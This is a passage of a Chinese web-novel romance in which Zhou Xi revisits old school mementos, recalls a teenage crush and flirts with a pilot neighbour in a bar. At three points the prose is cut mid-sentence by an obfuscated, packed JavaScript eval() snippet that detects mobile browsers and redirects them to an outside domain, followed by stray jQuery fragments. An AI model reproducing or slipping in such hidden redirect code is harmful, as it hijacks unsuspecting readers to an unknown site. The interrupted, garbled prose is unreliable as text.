田恬确实有一肚子话要说,感谢周禧带来的客流量就不说了,主要想问问她跟李铭则出去那么久有没有什么发展。可是看周禧这么防备的神情,又把那些话咽下去了,她最终只是看着周禧食不知味地把大螃蟹吃完,收拾好桌子上的垃圾,然后丢给她一盒开封的巧克力。 田恬:“我说了你也不听,从前是,现在肯定也是。是苦还是甜,你自己开心就好。你!少吃点!吃完刷牙!” 后一句是对圈宝说的。 圈宝如获至宝,捧着巧克力吃起来,还不忘了分给周禧一块,“阿禧,好吃吗?” 她觉得不好吃,“有一股淡淡的鱼腥味。” 圈宝疑惑地吃着巧克力,眼珠子一转,“我怎么没尝出来呀,哦,是不是我吃得太小口了,我再吃一块吧,再吃一块就能尝到了。” 他说着,就自顾自又掰了一块,像是掉进米缸里的小耗子,得意忘形极了。 这次他吃完,给出了反馈:“我知道了阿禧,是因为你刚吃完螃蟹,螃蟹就是有腥味的。” 他一本正经替她解释的样子,让周禧想起来陪她买巧克力的秦朗,也是这样由着她天马行空的描述,而不提出任何质疑。 如果是李铭则就不一样了,他肯定会刨根问底“确诊”周禧的病情,说不定还会拿密封袋封存一块有异味的巧克力拿去送检,双保险确认到底问题出自哪里。 以前周禧喜欢李铭则,他的每个特质都成为她迷恋的点,就连他一直拒绝她这份“持之以恒”都被她盲目欣赏。 李铭则是她名副其实的白月光,遥远地挂在天上,三年甚至更久,让她连举头望明月时思起的都是有他的那个故乡。 他不止存在她的回忆里,直到今日,她偶尔做梦,涉及青春,就一定有他的身影,甚至梦里还时常有怦然心动的愉悦兴奋。 可梦都会醒,她已经长大了,她的世界也远不只是上学时幻想情情爱爱那么狭窄了。 不能说游戏人间,只是有种“认真不起”的无力感。 比如现在,她就觉得,如果现在让她找个男的“玩一下”,给规律生活一次短暂脱轨的机会,那她宁愿选择秦朗。 一个不错的艳遇对象。 就像街边的共享充电宝,随用随还,解决一些应急需求,归位以后再无纠葛。 她被自己这个奇妙的形容逗笑了,几乎立刻拿出手机来修改了619的备注为“充电宝”,改完又觉得好像太不和谐了,要再改回去的时候,被圈宝拉走了。 圈宝:“阿禧在谈恋爱吗?” 他的声音引得田恬也看过来。 周禧忙否认:“啊?没有啊。” 圈宝:“你有,你在笑!妈妈跟爸爸谈恋爱就那么看着手机笑,哦,妈妈看不穿衣服的叔叔跳舞也那么笑……” 刚从书房打完电话出来的邵海:? 周禧一把捂住小孩的嘴,防止他再说出什么炸裂宣言。 邵海已经追着田恬求证什么叔叔跳舞不穿衣服了。 田恬生硬地转移话题:“我觉得咱们得再招个店员,招个女生怎么样?” 邵海伸手:“什么叔叔,我也要看。” 田恬:“就这么定了,招个女生,你一会儿就把招聘信息发网上哈。” 邵海手继续伸着:“给我看看,我要看看。” 田恬“恶人”先发火:“你差不多得了!” 周禧又怕他们吵起来,又好奇吵起来是什么样的,还没偷看几眼就被小手拉走了。 乱说实话的圈宝毫不自责,他吃巧克力吃太多,有点兴奋地跑来跑去,拉着周禧陪他一起玩寻宝游戏,拿着一辆金色小汽车到处藏,让她去找。 第一次藏在装药箱的柜子里了,周禧看到他藏的方位,去找的时候误拉开顶层的抽屉,入目一排杜蕾斯……救命! 这跟发现自己金婚的爸妈还在用计生用品有什么区别! 她默默关上顶层抽屉,在下面两层符合圈宝身高的抽屉里看到了一堆暖宝宝围着的金色小车。 周禧夸张地惊呼:“哇你也太会藏了吧,我差点没看到。不行不行,这样太难了,我们还是去我屋里玩藏宝游戏吧!” 圈宝:“OK!” 田女士总不会在客房也放什么计生用品吧! 周禧的房间不大,但是柜子、箱子能储物的空间还挺多,两个人一个藏一个找,玩得不亦乐乎。 不知玩了多久,田恬来喊孩子洗澡了,“最后一局咯~” 圈宝:“我不要!” 田恬笑眯眯的:“别找事,我不想揍你。” 圈宝抱紧周禧大腿:“阿禧帮我!” 田恬的笑容看起来很有威慑力:“我连阿禧一起揍。” 周禧点点头:“你妈确实会揍我。” 圈宝:“呜呜,你长那么大个人有啥用啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012724|161936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周禧:“……你爸长更大个人,也没啥用啊。” 拿着浴巾从外面走过的邵某人又感觉躺枪了:? 最后一轮藏宝游戏没玩完,圈宝已经被带走了。周禧很有契约精神,还在搜寻金色小汽车,她回忆着听到的圈宝藏东西时发出来的声音,应该是在某个盒子里。 终于,她翻找到床底的一个手提箱,箱子里有他的小汽车。 汽车下面是一些纸制品。 周禧看到了一张奖状,字迹有些熟悉,好像是她写的? 回忆了一番,想起来了,这是高一上学期的期末,田恬考试没考好,从小一直拿三好学生的人,那次没有获得任何奖状。 田恬害怕被家里骂,周禧给她出馊主意,放了学拉着王知夏陪她一起去文具店买了张奖状。 田恬还担心这奖状看起来和学校发的略有不同。 周禧:“你妈又不知道别人的什么样!” 王知夏点头,附议。 田恬于是大着胆子让周禧给她题了字,周禧胆子更大,给她写的是“优秀三好学生”,比三好学生还多俩字。 这事的后续就是田恬都没来得及拿出“仿造奖状”,田恬她妈先来安慰她了:“你舅特意给我打电话说了,这次考试题挺偏的,稳扎稳打的都考砸了,荣誉称号按名次分的话也能凑上你,但是他想鼓励另一个排名靠后的孩子,所以就委屈你了,下次你争取再高两分,他也就不用纠结了。” 她妈甚至给她炖了红烧肉来“弥补”她,让她别不开心。 田恬当然没把后续告诉好朋友,她们也没问起来,但是这张奖状被田恬悄悄放起来了。 周禧掀开奖状,又看到一本黑色封皮的本子,这个更熟悉了,这是她们仨之间流传的留言簿,学校里不方便拿手机,扔小纸条太小儿科了,她们有事沟通都是光明正大写在错题本上,丢到对方桌子上。 周禧随便翻开一页,看到她们在吐槽学校食堂的炸鸡柳吃不到肉,“为什么不干脆叫炸面条啊?炸鸡精面条!” 三个人的字迹各有特色,很容易辨认。 周禧还看到了她自己的雄心壮志:“我决定了!现在开始写小说!一天写二百字,十年后就是二百万字!” 田恬和王知夏都用彩色笔在下面写:“加油大作家!” 还有一道陌生的字迹,黑色的遒劲有力的笔锋写:“是73万字……加油大作家!” 在下面,还有一行解释,“对不起,无意看到,但是你们把本子放错在我作业里了。” 周禧记起来了,是邵海的字,当时周禧借了邵海的作业抄,结果还回去的时候把本子弄混了。 她“啧啧”两声,总感觉这俩人的奸情其实早就萌芽了,只是长大以后再回溯才发现,那时候的昭然若揭居然就被“友谊”两个字轻易遮盖了。 另有一本本子,就是那本她的“雄心壮志”,一本纯手写小说。她也不记得,为什么这个本子会在田恬这里,大概是最后一次“更新”完正好传到田恬这了吧。 和那本留言簿里动不动出格的草字不同,这个笔记本里的字迹无比工整,甚至开篇是王知夏和田恬写的两篇“序”,之后是一页目录。 目录顶上有行花体字: “如果有一天醒来发现自己变成了一条鱼,不要惊慌,因为,你一定是在做梦呢。” 原本以为要脚趾抠地拜读自己的矫情大作,因为她有印象这是本第一人称叙述的故事,可是不知道为什么,只是一行花字,就让周禧眼眶一酸,居然有眼泪漫出来。 因为太认真了,一腔赤诚热血。 真诚是永远的必杀技,哪怕是用来杀自己。 十七岁的自己说“不要慌,你一定是在做梦呢”。 可二十七岁的她却觉得那种麻木不真实的感觉已经很久了,就像梦里的时空转换毫无预兆,这十年怎么就溜走了呢? 如果这真是梦,如果梦醒了,还是十七岁那时候,会更好吗? 13.备胎 十七岁少女的春天,穿在身上总要比柳枝吐芽更鲜嫩。 其实满打满算也就十六岁,可是大人们总爱算虚岁。因为刚过完年,甚至正大光明地想着虚加两岁。 可小时候总盼着快点长大,竟然默许了这怎么听都很乱来的算法。 田恬还裹着面包服,鼓鼓囊囊像个刚出炉的大吐司;王知夏倒是苗条,因为她本身就苗条,穿的又是大牌手工羊绒制衣,看着薄薄的,上身暖暖的。 周禧就比较浮夸了,应该说离谱。 她穿了白衬衣,套着深蓝色的休闲制服,然后是红格子百褶裙和不过膝的高筒袜,还有一双雕花宽头小皮鞋。 “是你吗?周雨荨?你从艾利斯顿商学院转学来了?”田恬夸张地捂着脸看向周禧,一会儿用笔杆把周禧的波波头短发卷起来试图扎个歪马尾,一会儿又去揪她膝盖的皮肤,确认她没有穿肉色打底袜。 周禧不自在地把裙摆往下遮,又打飞田恬的手,压低声音让她别嚷嚷:“我过年去南方过的,那边暖和。” 田恬已经把自己的大围巾从桌洞里抽出来盖在周禧腿上了,闻言感到不解:“咱这也不是南方的气温啊,你是冻傻了,感觉不到冷?” “你才傻。”周禧把一摞摞作业分门别类地摆好让课代表收走。 今天是寒假的最后一天,她们返校报到来交作业,随便坐的。因为只上半天学,也不要求穿校服,班里同学穿得五颜六色,一派新年的热闹。 周禧这一身清凉归清凉,好看那也实实在在是好看的,她有预感今天肯定能碰到李铭则,万一就惊艳到他了呢? 田恬嘀嘀咕咕了一上午,以王知夏为例,分享自己在时尚杂志上看到的穿搭。 周禧不忿:“王知夏套个麻袋在身上也好看!我要是像她那么漂亮身材那么好,我每天随便穿!不,我直接不穿!” 一旁路过收作业的数学课代表听见了,一整个大脸红,飞速拿了她们的作业跑了。 一直到放学出了教室,田恬还在问周禧:“你真不冷吗?” 刚才在教室里面有暖气,其实还好。 现在被小风一吹,周禧感觉身上起了一层鸡皮疙瘩,咬着后槽牙说“不冷”。 田恬:“不冷你抖什么啊?” 周禧:“我乐阿——嚏——对不住对不住!” 周禧非常没风度地打了个喷嚏,眼瞅着自己把口水都喷出去,祸及路过的男同学。 男同学一驻足,嫌弃地皱眉头:“你故意的?” 好熟悉的声音,周禧仰头再去看,居然是李铭则。 周禧:“……啊哈哈,李铭则,你是不是长高了?” “喔~李铭则,你是不是长高了~”又有男生起哄的声音从不知道哪个角落传来。 田恬一把揽住周禧的胳膊,替她撑腰的姿势。 周禧想起要道歉:“不是故意的,对不阿——嚏——” 她又被冻得一激灵,忍不住再次打喷嚏,这次李铭则敏捷地后退一步,躲开了。 他穿着白色高领毛衣,外面套着轻薄但防风的冲锋衣。现在,他正扯开粘扣拉开拉链,要把冲锋衣脱下来。 周禧脸一红耳朵一热:“不用不用,我不冷,你不……” 李铭则打断她的话:“你鼻涕都喷我衣服上了,洗了再还我。” 周禧张着嘴巴说不出话来,她小声反驳:“不是鼻涕,就,就是唾沫星子而已。” 李铭则已经把衣服兜头扔她身上了,“那也很脏,洗干净点。” “哦。”周禧感觉眼前的白毛衣晃得她眼晕,就跟看见没穿衣服的李铭则似的,害羞地红了耳朵。 她拿下他的外套抱好,还没来得及跟他道别,他已经抬脚走了。 田恬对李铭则的态度一向不爽,“嘁”了一声骂他:“还有洁癖咧,假干净!” 周禧替心上人辩解:“说你傻吧,你看不出来他是为了找个借口给我外套穿吗,怕我冷!” 田恬更不屑了,“那就是真骚包!” 周禧已经套上了李铭则的外套,用肩膀碰碰田恬的肩膀,“巧了,我就喜欢大闷骚~” 明明穿得很多的田恬,被周禧肉麻的打了个哆嗦,对她拱手抱拳,扭头就跑。 周禧一把扯住田恬的围巾,“妖精,哪里逃!” 她俩拉拉扯扯地往楼下走,王知夏家里有事提前被接走了。 田恬和周禧商量着中午要去趟书城,买点包装纸和新文具,顺便在外面吃个必胜客,她有半价的双人套餐优惠券。 周禧有些犹豫,因为她确实有点冷。 田恬:“这不是穿着李铭则外套吗,还冷?” 周禧:“心里确实很火热,但手脚冻成冰块了。” 田恬翻了个超级大白眼,周禧抱着她的胳膊撒娇,“我们打车先回我家,换件衣服,然后咱俩再出去!” 小姐妹说说笑笑回了家,结果刚进楼栋门,周禧就感觉哪里不太对劲,这是一种小动物的直觉,直到电梯升到她家楼层,电梯门打开,她听见了妈妈的怒吼声,似乎还有什么砸到地上的声音。 周禧先一步跨出去,又转身把田恬推回电梯轿厢,“我今天不出去了,你先回家!” 田恬有些懵,在电梯门要关上的时候又紧急按着电梯门推开,追出去,就看见周禧已经开了家门冲进去的背影。 田恬不放心,在周家门外站了好一会儿。 她还往门口走近了几步,耳朵贴着门听里面的声音,屋里倒是再没有争吵声了,田恬却开始胡思乱想,想着周禧会不会已经惨遭不测。 她的手有些发抖,但也没莽撞地去敲门,如果里面有坏人,她这不是自投罗网嘛! 田恬纠结着是不是要打电话报警,她先坐电梯下楼,到外面有人的空地上,给周禧打了个电话。 周禧没接。 田恬手更抖了,她给周禧发消息:“你还好吗?我就在你家楼下,需要我报警吗?” 周禧依旧没回。 田恬的想象中,周禧手机已经被歹徒劫持了,她也不知道在对谁放狠话:“五分钟之内,听不到你的声音,我就报警了!” 这次周禧回她了。 为了让她安心还发的视频通话:“我没事哈,你先回家吧,明天上学跟你说。” 田恬:“你是自愿说这些的吗?给我看看四周。” 周禧无语地向她展示自己的房间:“……刑侦剧看多了吧?真没事,我爸妈吵架了。” 田恬稍微放心了,她一步三回头地往小区外面走,最后一次抬头的时候,周禧也从卧室窗户探头看楼下,看到她还把窗子推开,对她摆摆手。 这下田恬确认周家没有进歹徒,只是爸妈吵架而已,问题不大。 田恬心情像是坐了过山车,回过神来脚步还不稳。 周禧家跟她家就隔了一个街区,步行走回去也就十分钟。快走到自家小区的时候,遇见了从大门出来的邵海。 田恬跟他打了声招呼,他俩虽然不经常说话,但是因为经常坐校车回家时碰到,以及田恬问他借过几次作业“应急”,也算是熟人了。 邵海对她点点头,主动提起自己的去向:“我去书城还书。” “书城”两个字让田恬有些怅然若失,随即就是肚子开始咕噜噜叫,饿了。 她决定“贿赂”一下这位会借作业给自己抄的好学生:“吃饭没?我请你啊!我有优惠卷!” 邵海:“券,quan。” 田恬因为饥饿而供血不足的大脑宕机几秒。 邵海又问:“满500减5块那种券吗?” 田恬这次听懂了,他在讲冷笑话! 她嫌弃地撇嘴:“不好笑。” 邵海切回正常频道:“我吃过了,不过可以再吃一顿,嗯,吃你优惠的那部分。” 田恬:“想得美,优惠一半呢,你吃过了就少吃点吧,我饿得能吃下一头牛。” 邵海:“哦。” 邵海对自己的“备胎”身份有明确的认知,田恬总是在王知夏和周禧缺席的时候找他补缺,过去是,现在依旧是。 反之,如果王知夏和周禧都在场的时候,田恬一般就不需要他这个“老公”了。 果然,忙得脚不沾地的一天,田恬除了问库存的时候和邵海说了几句话,剩下时间都跟她的姐妹们凑在一起。 王知夏今天没什么工作,特意来帮工。 周禧也没躲清闲,像个吉祥物一样站在吧台那里给客人装蛋糕、合照。 下午店里人少了点,她们快速吃了顿意面对付了事,王知夏提起明天没空来帮忙,“跟黎总和她朋友约了见面。” 一般情况下,客户的情况王知夏不会跟外人讲的。 但是田恬和周禧是外人吗? 当然不是! 所以她们仨只要碰头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017503|161936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那就是八卦大会。 周禧听王知夏简单讲过大哥的爱恨情仇后,思路发散,开始推测王知夏如果拉线搭桥会不会促成孽缘。 田恬想得更多,“你可别瞎掺和了,那个黎总看着也不是善茬,还有这个大哥的老婆,万一找你麻烦怎么办?” 王知夏让她放心:“我有分寸。” “你有屁分寸。”田恬激情开麦,从王知夏洗完澡忘记关浴缸水差点把家淹了到给周禧吃过期牛肉把人吃进急诊室…… 周禧怕惹火上身,也跟着站队:“就是!你有屁分寸!” 王知夏:……? 晚饭时间又是一轮战斗,终于打烊,邵海被田恬派去接儿子回家,她们姐妹留下来收拾卫生。 小帅也很主动留下帮忙,田恬大为感动,一会儿承诺要给他加班费,一会儿又说要再招个店员分担他工作。 王知夏随口问小帅什么时候毕业,以后工作有什么打算。 小帅:“我大五了,今年毕业,喜欢咖啡,有机会的话以后也想开个咖啡店。” 王知夏:“延毕了?” 小帅:“学医的。” 王知夏:“我就说,瞅着你切烤鸡的刀法很,很那个,妙手仁心!” 周禧看小帅腼腆地笑着红了脸,推了王知夏一把,让她别胡说八道。 收拾完毕,关了店里的灯,三个人慢悠悠走到院子里,抬头看着天上的月亮。 田恬先舒了一口气,弹了下舌头发出脆响,手虚握着在嘴边比划了下:“怎么的,整两杯?” 那两个单身的女人对视一眼。 王知夏问:“你要不要先给邵海打个电话报备一下。” 田恬立准大女人的人设:“报备什么?姐要干什么还得跟他说?再说了,报备了他肯定不同意啊!” 周禧海豹鼓掌:“把最后那句去掉会更有气势。” 王知夏开车来的,她决定自己就不喝酒了,载着两个姐妹来到市区最热闹的酒吧。 周禧正打算问一下卡座的低消,田恬已经拿出手机团购界面给她看了,“这有个原价1800现价288的套餐,一瓶威士忌六瓶啤酒,卡座区的。” 周禧被这个物价震惊:“多少?” 田恬:“贵了吗?这还有个188的,十二瓶啤酒,不过是吧台。” 周禧摆手:“就288那个吧,这么便宜是不是还会引导二次消费啊?” 王知夏看着后视镜倒车入库,分出一丝心神接话:“不会,咱这就那么便宜。可能大家更喜欢坐在大排档里喝扎啤吧。” 进到酒吧,不知道是不是因为低价引流来的客人很多,服务生验券后引导她们仨跟另一桌客人拼桌。 圆桌的卡座区够宽敞,两伙人一边坐一半也不会拥挤。 她们看向舞池中央劲歌热舞的人群,嘈杂的环境并不适合说什么话。王知夏坐在最外面,拿着手机在回复工作上的内容,田恬坐在中间,好奇地品尝着这里的酒水,感觉还是后来单点的小吃软饮更合口味。 周禧在发呆,视线并没有焦距地看人家跳舞,漫无目的地观察着那些男男女女的暧昧亲密。 身边的沙发一沉。 是隔壁那伙人新来的朋友,周禧扭头,诧异地看见了熟悉的脸——是秦朗。 秦朗对她笑。 周禧却把脸扭开了,装作不认识他的样子,心虚地先去看好友那边。 还好王知夏和田恬都没注意到她这边,而王知夏似乎没认出飞行员来——也对,她只看过一次他的照片,对不上号很正常。 因为周禧明显的疏离,秦朗知道她不打算“相认”,便也没有搭话,还主动往另一边挪了挪,和她隔开更多距离。 两边人互不相干地自己玩,周禧想去厕所,跟田恬说了一声,从她们那边穿过去,走了几步却又停住,左右打量酒吧的指示牌,场地太大了,她分不清方向。 她还没找明白路,身边的人擦着她肩膀经过。 秦朗回头看她一眼,用下巴指了指前面:“这边。” 她演技拙劣,像是才认出她的邻居,挥着手打招呼:“嗨~” 秦朗翘起嘴角笑了下,也没说什么,转身继续领路。 酒吧昏暗,他就像那些闪烁的彩色灯光忽然出现又摇摆,却也划破了黑暗照亮一瞬间眼前的路。 周禧走向他。 他放慢了脚步,等她跟上来。 14.你好香啊 周禧洗完手从厕所出来的时候,看到秦朗就站在外面走廊等着。 他在看手机,因此周禧先看到了他拿着手机的手,手指修长,很好看。 秦朗扭头看到她,把手机揣起来,多余问一句:“好了?” 这种问题答与不答都有些怪。 周禧于是换了个问题,反问他那干燥的手:“咦,你怎么不洗手啊?” 想也知道因为他刚才就没去厕所,单纯当个护花使者而已。 所以这个玩笑话,是带着几分明知故问的试探。 秦朗好像没听清,太吵了,在这里说话要么扩大三倍音量,要么缩短三分距离。 他选择后者,低头,侧耳过来,又问了一遍:“你说什么?” 周禧感觉面前犹如一阵松木香的清风吹拂而过,她喜欢这个香味。 下意识的,她拉了一下他的衣领,把他扯得离自己更近,凑在他耳边问:“你好香啊,用的什么香水?” 太近了,近乎是贴着彼此,说话时唇瓣擦过他的耳垂,和直接亲他也没什么区别了。 甚至比单纯的亲吻更撩拨人心。 她的手还保持拉他衣领的姿势,他尚未直起腰板,眼神清亮地看着她的眼睛,似乎在判断她是否喝醉,以及下一步要对他做些什么。 “挡路了,让一下!”一道煞风景的声音从身后传来。 周禧立马松手,退开一步,还掩耳盗铃地背过身去,看墙面上的挂画。 路人直接从他俩中间穿行过去。 周禧等了两秒才又转身,看见秦朗似笑非笑地望着她。 她理智回笼,回避了他的视线,装作无事发生的样子,往卡座的方向走了。 秦朗落后她几步回去的,她坐下的时候发现王知夏她们已经跟拼桌的年轻男女玩起“海盗船长”的划拳游戏。 她们为了玩起来方便,还霸占了她原本的位置,留出来的是靠外的座位。 周禧没兴趣参与游戏,就靠外坐了。 秦朗回来后左右看看,再要插到中间位置有点麻烦,索性就在周禧身边坐下,她那边确实更宽敞一些,也没有人觉得突兀,都还在玩闹。 朋友拉他组队,秦朗欣然加入。 周禧偷看一眼,看到他表情淡定,和她的姐妹说笑也很自然。 偶然去拿酒瓶,周禧没注意,和他握住了同一个玻璃瓶,手掌盖住了他的小拇指。 她被火烫了似的迅速撤离。 秦朗看她,她道声“抱歉”,去换拿另一瓶酒。 可他好像误会了,误会她是有意为之。 没多久,秦朗退出游戏,左手拿着手机随意翻看,右手落在腿边,然后握住了周禧的手。 周禧一愣。 有桌子遮挡,握着的手并不显眼,那些人都没看见,她的心却猛地跳动不安。 秦朗不只是握住了她,甚至岔开她的手指,和她十指相扣,拇指在她手背上有一下没一下的摩挲。 周禧的心被挠得发痒。 这里是酒吧,五光十色的黑暗中,人的原始感官被放大,一点点酒精的催化就能让欲望成倍膨胀。 她看见不远处的阴影里,一对男女倚着立柱正旁若无人的热吻。 她又看见她的两个姐妹,都在兴奋地玩游戏。 这样浮躁的场所,陌生人都能生出亲昵,何况他们俩原本就有点小火苗。 周禧劝自己冷静:都是氛围惹的祸,认真可就没意思了。 田恬忽然扭头看她,喊她一起来玩。 周禧刚直起身子要回应,还没开口,秦朗扣紧了她的手,不想她走。 周禧于是没动,甚至有些想笑。坐稳了,勾勾他的尾指,心安理得地享受这暧昧。 反正,出了门,戴上正经的面具后,谁都不需要对此刻成年人的心照不宣负什么责任。 他俩各自用另一只手拿着手机,坐这么近反而不说话,非要慢吞吞地敲字发消息聊天。 充电宝:“你的快递在门口很多天了。” 这个备注名弹出来的时候,周禧差点被自己口水呛到。 差点忘了,还没给他改回619呢。 一只手不方便操作,她只是倾斜了一下手机,不让他余光瞥到自己的屏幕。 可这样旖旎的气氛里,这个备注名背后的含义更让人浮想联翩了。 周禧回他:“放着吧。” 意思是近期依旧不会回家。 秦朗又问:“有没有想去哪里玩?” 周禧认真想了想,好像是有几个地方想去的,她不经意地扭头看了秦朗一眼,看到他衣服袖子紧贴着的肌肉,突然就很想光明正大地看看帅哥的身材。 她不确定他会不会游泳,所以她说:“想去海边玩水。” 秦朗也认真想了想,回:“现在下海还有点凉,我知道有个泳池不错,也能看海。” 这么聊下去,约会似乎即刻成行。 周禧却又赶紧给自己降温:酒色场所而已,撩骚一下就得了,别认真,别认真啊周禧…… “啊啊啊啊我服了!”田恬游戏又输,豪迈地认罚干了一整杯啤酒。 被姐妹吸引了目光,周禧看一眼时间,挺晚了,她喊王知夏她们回家,没再回手机里秦朗的消息。 她晃了晃秦朗的手,这次他松开了。 周禧的包还放在中间位置,她站起身去拿,要路过他身边。 不知道秦朗是有意还是无意,他的膝盖碰到她的小腿肚,隔着裤子居然也能感觉到体温。周禧想自己是酒意上头了,这种程度都能觉得腿软。她瞪了他一眼,秦朗沉默着把腿往回缩起来一些。 只是衣料的摩擦也依旧让人心猿意马。 等她拿了包走出去了,他才站起来走到外面让开位置,方便王知夏和田恬出去。 王知夏滴酒未沾,开车送她俩回田恬家,提前跟邵海打过招呼了,到了小区又打了个电话,邵海下楼来接她们。 周禧喝得不多,自认很清醒。 田恬虽然喝了不少,但也只是比较兴奋的状态,人没糊涂。 邵海看她俩都还算正常,再看看王知夏,“这么晚了,你也在我们家凑合一晚吧,跟周禧一个屋。” 已经临近午夜,王知夏确实感觉挺疲累的,盘算了一下明天的行程,除了要跟黎总朋友见面也没啥事了,索性跟着一起住进了田恬家。 圈宝已经睡着了,所以几个大人进门的动作都刻意放轻。 又因为有两人喝了点酒,蹑手蹑脚的动作显得贼兮兮的,就像动画片里的汤姆猫一样滑稽。 邵海要照顾喝得最多的田女士,也没心思招待客人了,请她们自便以后就扶着田恬进了卧室洗漱。 周禧酒劲儿上来,想直接倒头睡觉,被王知夏嫌弃地一脚踹进卫生间,好歹刷牙洗脸以后才被允许上了床。 这是个一米五的床,远不如王知夏家的宽敞,俩人盖着一床被,凑在一起头挨着头睡……没睡成,王知夏忽然戳戳周禧的腰,一个问题给她问醒神了。 王知夏问:“今晚跟飞行员玩得挺好?” 周禧的眼睛瞪得滴溜圆,无声询问她怎么知道的。 王知夏“嘁”了一声:“我什么烂片没拍过啊,你那演技在我这不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15023599|161936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够看的哈。” 周禧居然有种羞愧的感觉,她立马剖白心迹:“随便玩玩的,没必要介绍你们认识吧。” 王知夏闭上眼睛,准备睡觉,还宽慰了周禧几句:“既然都‘随便’了,那就放开点嘛,不要有太大思想包袱,我又不是田姐那个老古董,不会念你的……” 她越说,声音越小,太晚了,困了。 可就在周禧打算把床头台灯关掉的时候,王知夏又忽然睁开了眼睛:“不对!” 周禧吓了一跳:“啊?又咋了?” 王知夏一整个坐起来,睡意全无,眼睛里带着审视与控诉:“不对,周禧,你不会是在防着我吧?” 周禧的表情从疑惑到愤懑,短短几个呼吸间已经明白王知夏是什么意思了。 可这是在田恬家,家里还有熟睡的孩子,所以她生气也得压低声音:“你有病吧?我至于嘛,因为这么个男的防你?” 被子从王知夏肩膀滑落,她觉得有一点冷,抱着手臂,居高临下地看向躺平的周禧,嘴一撇:“怎么不至于,这事你也没少干啊。” “就一次!”周禧伸出食指,严肃辩驳。 王知夏:“一次一星期。” 周禧:“那不正好赶上五一了嘛!” 王知夏:“你记得还挺清楚。” 周禧:“彼此彼此。王知夏,没想到啊,你还挺记仇。” 王知夏打了个喷嚏,“你是不是在心里骂我了!” 周禧:“你聋啊,我刚才在嘴上骂的。” 王知夏:“……不和你一般见识。” 她说完,躺回被窝里,面朝墙壁背对着周禧,裹紧被子取暖。 没一会儿,周禧的手臂搭过来,搂着王知夏的腰弱弱地道歉:“唉哟~对不起嘛~” 要说朋友之间的摩擦争吵肯定在所难免,但要说周禧小时候在王知夏这里做过什么不地道的事,可能只有那一件事数得着。 一件严重到要绝交的事,关于李铭则。 那年开春,周禧第一次亲历了父母的争吵,虽然印象里父母也称不上多么恩爱,但是经商的父亲四处跑活给家里带来优渥的生活条件,做财会的母亲照顾家里让她有舒适的生活环境,这在她看来就是很和谐的家庭了。 所以在她几次三番打听吵架原因都只得到了“没什么事”这样敷衍的回答后,她也就不问了。 可心里还觉得有些许不安,少女不知怎么排解,干脆继续把情感投射到她喜欢的男生身上:那件冲锋衣她已经洗干净了,还给李铭则的时候还特意说明自己是手洗的。 结果李铭则并没领情,拿回去衣服连句话都没说就走了。 周禧虽然追人追得很勇,可偶尔也会自我怀疑:他是不是不喜欢我啊? 田恬在一旁拆台:“大姐,人家不是表现得很明显吗?” 她们是在体育课上打着乒乓球聊这话的,一来一回,球杀得不怎么狠,说出来的话倒是一句比一句扎心。 周禧:“万一他只是矜持呢?” 田恬:“……那你能不能学一学他的矜持啊,两成就够。” 周禧无视田恬的消极建议,握着拳头计划起更大胆的计划:“下周去海洋馆研学,我要跟他表白!” 田恬:“你早就表了十万八千次了。” 周禧:“不,之前还是太含蓄了,他可能没有理解到位,这次我要说、明、白!哎,知夏,你笑什么啊,你说,这次能不能成?” 坐在一边水泥台子上安静观战的王知夏,听到自己被点了名,立马挥舞起手里的乒乓球拍,像个忠诚的卫兵给姐妹助威:“周禧必胜!” 15.无法原谅 琴高的学习氛围相比其他一梯队的高中松了不是一星半点,只能说学校升学率高很大程度上取决于生源质量好。 这年春季的研学活动定在了海洋世界,高一4、5、6班三个班安排的一个时段,虽然是以班级为单位进行活动,但是周禧研究过流程表了,午饭那会儿是自由活动时间,大概有一个小时供她“图谋大事”。 周禧让田恬和王知夏助攻,田恬不情不愿,但还是答应了替她把风站岗。 王知夏也有任务,周禧安排她把李铭则的朋友们引开,制造安静的二人世界。 田恬不屑:“干嘛那么麻烦,你干脆直接放学的时候去堵他啊,黑灯瞎火的,别人也看不到。” 周禧啧啧摇头:“就说你不解风情吧,那可是海洋馆啊!你想想,在一片蓝色背景的衬托下,有可爱的女孩子真情告白,还有海豚翩翩起舞,当当当!背景音乐飞出来,You are my destiny~~~浪不浪漫!说不定他一时昏了头就答应了呢!” 田恬:“你也知道这事要成,得他昏了头才行是吧?” 周禧不被打击:“嘻嘻,婚礼安排你坐一号桌。” 王知夏乖乖地问:“婚礼为什么不安排我们坐伴娘桌啊?” 周禧吸一口冷气,用力拍着王知夏的肩膀:“看看!还是人家知夏的觉悟高!” 田恬不爽,但田恬不说。 